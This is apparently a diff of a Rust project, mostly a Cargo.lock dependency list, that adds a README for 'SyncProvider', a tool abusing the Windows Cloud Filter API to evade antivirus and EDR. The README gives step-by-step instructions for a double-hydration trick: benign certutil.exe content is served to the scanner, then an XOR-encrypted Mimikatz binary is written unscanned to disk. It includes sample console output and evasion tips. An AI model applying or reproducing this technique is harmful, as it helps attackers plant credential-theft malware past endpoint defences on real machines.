"litcrypt2",
|
||||
"manualmap",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dispatch2"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "89a09f22a6c6069a18470eb92d2298acf25463f14256d24778e1230d789a2aec"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dmanager"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "45e10972b361f6a0750f6767323e65030282429bb7b8a74f58af8a2a2708e7c3"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"rand",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86"
|
||||
dependencies = [
|
||||
"backtrace",
|
||||
"failure_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure_derive"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"synstructure",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "find-msvc-tools"
|
||||
version = "0.1.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "645cbb3a84e60b7531617d5ae4e57f7e27308f6445f5abf653209ea76dec8dff"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "gimli"
|
||||
version = "0.32.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e629b9b98ef3dd8afe6ca2bd0f89306cec16d43d907889945bc5d6687f2f13c7"
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.178"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37c93d8daa9d8a012fd8ab92f088405fb202ea0b6ab73ee2482ae66af4f42091"
|
||||
|
||||
[[package]]
|
||||
name = "litcrypt2"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4126aa57ac1b3dd20a5bc827a2972cdf74c619a4d6ae5660656408289e5bc60d"
|
||||
dependencies = [
|
||||
"lazy_static",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"rand",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.29"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "manualmap"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1ac5a950ad05bc0e1457e094c4787843b351901fe1511af38a6d95912dd157b1"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"os_info",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.8.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"
|
||||
dependencies = [
|
||||
"adler2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nanorand"
|
||||
version = "0.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3"
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.30.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"cfg-if",
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2"
|
||||
version = "0.6.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b7c2599ce0ec54857b29ce62166b0ed9b4f6f1a70ccc9a71165b6154caca8c05"
|
||||
dependencies = [
|
||||
"objc2-encode",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-cloud-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "73ad74d880bb43877038da939b7427bba67e9dd42004a18b809ba7d87cee241c"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-data"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b402a653efbb5e82ce4df10683b6b28027616a2715e90009947d50b8dd298fa"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-graphics"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-io-surface",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-image"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e5d563b38d2b97209f8e861173de434bd0214cf020e3423a52624cd1d989f006"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-location"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ca347214e24bc973fc025fd0d36ebb179ff30536ed1f80252706db19ee452009"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-text"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0cde0dfb48d25d2b4862161a4d5fcc0e3c24367869ad306b0c9ec0073bfed92d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-encode"
|
||||
version = "4.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33"
|
||||
|
||||
[[package]]
|
||||
name = "objc2-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"libc",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-io-surface"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-quartz-core"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-ui-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"objc2",
|
||||
"objc2-cloud-kit",
|
||||
"objc2-core-data",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
"objc2-core-image",
|
||||
"objc2-core-location",
|
||||
"objc2-core-text",
|
||||
"objc2-foundation",
|
||||
"objc2-quartz-core",
|
||||
"objc2-user-notifications",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-user-notifications"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "object"
|
||||
version = "0.37.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff76201f031d8863c38aa7f905eca4f53abbfa15f609db4277d44cd8938f33fe"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "os_info"
|
||||
version = "3.14.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e4022a17595a00d6a369236fdae483f0de7f0a339960a53118b818238e132224"
|
||||
dependencies = [
|
||||
"android_system_properties",
|
||||
"log",
|
||||
"nix",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
"objc2-ui-kit",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||
dependencies = [
|
||||
"zerocopy",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.103"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5ee95bc4ef87b8d5ba32e8b7714ccc834865276eab0aed5c9958d00ec45f49e8"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "provider"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"data",
|
||||
"dinvoke_rs",
|
||||
"litcrypt2",
|
||||
"windows",
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.42"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a338cc41d27e6cc6dce6cefc13a0729dfbb81c262b1f519331575dd80ef3067f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_core"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustc-demangle"
|
||||
version = "0.1.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "56f7d92ca342cea22a06f2121d944b4fd82af56988c270852495420f961d4ace"
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "static_vcruntime"
|
||||
version = "2.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "954e3e877803def9dc46075bf4060147c55cd70db97873077232eae0269dc89b"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "1.0.109"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.111"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "390cc9a294ab71bdb1aa2e99d13be9c753cd2d7bd6560c77118597410c4d2e87"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sync_provider"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"data",
|
||||
"dinvoke_rs",
|
||||
"litcrypt2",
|
||||
"provider",
|
||||
"static_vcruntime",
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "synstructure"
|
||||
version = "0.12.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"unicode-xid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.22"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-xid"
|
||||
version = "0.2.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.1+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
|
||||
|
||||
[[package]]
|
||||
name = "widestring"
|
||||
version = "0.4.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||
dependencies = [
|
||||
"winapi-i686-pc-windows-gnu",
|
||||
"winapi-x86_64-pc-windows-gnu",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi-i686-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||
|
||||
[[package]]
|
||||
name = "winapi-x86_64-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580"
|
||||
dependencies = [
|
||||
"windows-collections",
|
||||
"windows-core",
|
||||
"windows-future",
|
||||
"windows-numerics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-collections"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-link",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-future"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
"windows-threading",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.60.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.59.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-numerics"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-strings"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-threading"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winproc"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "979e07b33c6af27e5c454e42d1b946b403ec222e7bad52ef020820708e087b25"
|
||||
dependencies = [
|
||||
"bitflags 1.3.2",
|
||||
"failure",
|
||||
"widestring",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy"
|
||||
version = "0.8.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fd74ec98b9250adb3ca554bdde269adf631549f51d8a8f8f0a10b50f1cb298c3"
|
||||
dependencies = [
|
||||
"zerocopy-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy-derive"
|
||||
version = "0.8.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d8a8d209fdf45cf5138cbb5a506f6b52522a25afccc534d1475dad8e31105c6a"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
@@ -0,0 +1,14 @@
|
||||
[package]
|
||||
name = "sync_provider"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
windows-core = "0.62.2"
|
||||
dinvoke_rs = "=0.2.1"
|
||||
litcrypt2 = "=0.1.2"
|
||||
data = { path = "data" }
|
||||
provider = { path = "provider" }
|
||||
|
||||
[build-dependencies]
|
||||
static_vcruntime = "2.0"
|
||||
@@ -0,0 +1,52 @@
|
||||
# SyncProvider
|
||||
|
||||
The [Cloud Filter API](https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/) provides functionality that allows a [cloud sync engine](https://learn.microsoft.com/en-us/windows/win32/cfapi/build-a-cloud-file-sync-engine) to synchronize files between a remote environment and a local client. This functionality is typically used by cloud file synchronization processes such as OneDrive, so that files hosted in the cloud can be represented and accessed from Windows Explorer.
|
||||
|
||||
Through this API, a sync engine (or sync provider; Microsoft seems to use both terms interchangeably) can project cloud files by creating **placeholders**. Placeholders are files on disk that have three states:
|
||||
|
||||
- **Dehydrated**: This is the initial state when creating a placeholder. It means that although the file representation exists on disk, its content is not present locally and can only be obtained if the sync provider is available.
|
||||
- **Hydrated**: The file content is present on the local disk, so the file can be used normally. At any time, the placeholder can be dehydrated, returning to the previous state.
|
||||
- **Hydrated and pinned**: The placeholder content is on disk and its presence is guaranteed at all times (we do not care about this state for the activities described in this document).
|
||||
|
||||
The first access to the content of a dehydrated placeholder is intercepted by the `CldFlt` minifilter (default altitude: 180451). Before allowing the original request on the file to continue on its path, the minifilter asks the sync provider for the placeholder content so it can hydrate it. When it receives a response from the sync provider, placeholder hydration is performed by calling the [FltWriteFileEx](https://learn.microsoft.com/es-es/windows-hardware/drivers/ddi/fltkernel/nf-fltkernel-fltwritefileex) function to write the content to disk. Once the placeholder is correctly hydrated, the original request can continue on its path and complete as appropriate.
|
||||
|
||||
If we read the documentation for the `FltWriteFileEx` function, we will see that in the **Remarks** section it states that this function "causes a write request to be sent to the minifilter driver instances attached below the initiating instance and to the file system. The specified instance and **the instances attached above it do not receive the write request**". Since AV and EDR minifilters are always loaded at altitudes higher than `CldFlt` (altitude ranges are officially assigned and documented by [Microsoft](https://learn.microsoft.com/es-es/windows-hardware/drivers/ifs/load-order-groups-and-altitudes-for-minifilter-drivers)), this means that this write is invisible to endpoint protection software, which allows writing any content to disk without it being statically analyzed (if we do it correctly). Additionally, although we have described the sending of data from a sync provider as a response to a request from `CldFlt`, the reality is that a provider can proactively hydrate one of its placeholders at any time following the same procedure.
|
||||
|
||||
With all this, we have what we need to abuse Cloud Filter API functionality to write malware to disk without it being statically analyzed. Specifically, the `SyncProvider` project will launch a malicious provider that performs a double hydration on a placeholder to evade all malware scanning. Initially, upon receiving a hydration request, the malicious provider will return the contents of a non-malicious file, which can be scanned by the security solution without raising suspicion. After a few seconds, the provider will proactively perform a second hydration of the placeholder, this time sending the malware’s contents, which will be written to disk without being analyzed. The procedure is as follows:
|
||||
|
||||
1. Launch `sync_provider.exe` and complete the requested information.
|
||||
|
||||
- **Sync root directory**: Directory where the malicious placeholder will be created. In this test, the path `C:\Temp\Test` is inserted.
|
||||
- **Backing file 1**: Legitimate local file. In the proof of concept documented here, `C:\Windows\System32\certutil.exe` will be used, although in real environments it is not recommended to use binaries resident in `System32` (they can trigger other alerts for executing binaries outside their usual directory). This file must have a size greater than or equal to that of our malware, since its information will be used to create the placeholder. The content of this file will be used for the first hydration of the placeholder.
|
||||
- **Backing file 2**: Local or remote (SMB) path where the malware to be dropped is located (`.exe` file). Ideally it should be hosted remotely but, in either case, it is recommended to encrypt the file beforehand using the `xor_file.py` script (simple XOR; the provider will perform the decryption in memory before the second hydration). In this test, `Mimikatz` will be used as the binary to drop, since it is widely known malware with a signature detected by practically any endpoint protection solution. The content of this file will be used for the second hydration of the placeholder.
|
||||
- **Placeholder name**: Name of the placeholder to create inside `sync root directory`. In this test, `notmimi.exe`.
|
||||
- **Decryption key**: If `Backing file 2` has been encrypted, the same encryption key used must be passed here.
|
||||
- **Mode**: This document only reflects the behavior of mode `2`.
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin>sync_provider.exe
|
||||
Sync root directory: C:\Temp\Test
|
||||
Backing file 1 (benign file): C:\Windows\System32\certutil.exe
|
||||
Backing file 2 (payload): C:\Temp\mimi_encrypted
|
||||
Placeholder name: notmimi.exe
|
||||
Decryption key (empty = unencrypted payload): test1234
|
||||
Select mode (1 or 2): 2 # Always set it to mode 2
|
||||
[+] Sync root sucessfully registered.
|
||||
[+] Connection to sync root established. Connection key: 0x210aaa86060
|
||||
[+] Placeholder created: C:\Temp\Test\notmimi.exe
|
||||
[+] Provider status set to CF_PROVIDER_STATUS_IDLE.
|
||||
```
|
||||
|
||||
2. Once the placeholder is registered, execute it (double click, `CreateProcess`, whatever). The process creation routine internally ends up calling `NtCreateSection`, which ultimately triggers the `IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION` callback of all minifilters that requested it. On a device without AV/EDR, `IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION` from `CldFlt` would trigger directly, which would cause the placeholder to be hydrated before section creation. However, as shown in the video at the end of this document, on devices protected with `Microsoft Defender` (the minifilters of several EDRs behave exactly the same), the behavior is different, since the AV intercepts the original section creation and requests full hydration of the placeholder in order to perform a prior security analysis. Only when that analysis completes without detecting anything malicious (and leaves the placeholder already in hydrated state) is the original section creation allowed to pass and the process launched (which, in our case, will execute `certutil.exe`). In this first hydration, the sync provider sends the content of `Backing file 1`, that is, completely legitimate content, so the security solution scan does not detect anything malicious.
|
||||
|
||||
3. After a few seconds (I introduce this delay to avoid corruption when launching the process), the sync provider hydrates the placeholder a second time **proactively** (without being asked), except that in this case the content it provides is that of `Backing file 2`, so the malware can be written to disk without being analyzed.
|
||||
|
||||
4. On occasion (this does not happen on all systems), even after the second hydration has been performed and the content on disk is that of `Backing file 2`, later executions of the binary still launch `Backing file 1`. This is because the content is cached, so we must force the system to discard this content and use the content on disk for subsequent executions. This can be done programmatically in several ways, but we can also do it conveniently with `Right Click -> Properties` on the placeholder.
|
||||
|
||||
